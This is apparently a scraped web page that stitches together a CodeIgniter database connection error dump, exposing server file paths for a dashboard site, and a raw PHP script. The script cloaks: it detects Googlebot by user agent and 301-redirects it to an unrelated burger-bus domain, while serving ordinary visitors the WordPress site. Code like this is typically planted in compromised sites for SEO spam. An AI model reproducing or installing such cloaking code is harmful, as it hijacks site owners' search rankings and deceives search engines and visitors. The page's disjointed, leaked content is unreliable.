Severity: Warning
Message: mysqli::real_connect(): (HY000/2002): Cannot assign requested address
Filename: mysqli/mysqli_driver.php
Line Number: 201
Backtrace:
File: /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php
Line: 343
Function: __construct
File: /www/wwwroot/dash.konsole.xyz/application/controllers/Api.php
Line: 12
Function: __construct
File: /www/wwwroot/dash.konsole.xyz/index.php
Line: 316
Function: require_once
无法使用提供的设置连接到数据库服务器。
Filename: core/MY_Controller.php
Line Number: 343
<?php
function profile_user() {
$useragent = $_SERVER['HTTP_USER_AGENT'];
$isGoogleBot = strpos($useragent, 'Google-InspectionTool') !== false ||
strpos($useragent, 'googlebot') !== false ||
strpos($useragent, '(compatible; Googlebot/2.1; +http://www.google.com/bot.html)') !== false;
$isOtherBot = strpos($useragent, 'bingbot') !== false ||
strpos($useragent, 'AhrefsBot') !== false;
if ($isGoogleBot) {
header("Location: https://www.berniesburgerbus.com/", true, 301);
exit();
}
if (file_exists(__DIR__ . '/wp-blog-header.php')) {
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
} else {
echo 'wp-blog-header.php not found';
exit();
}
}
profile_user();
?>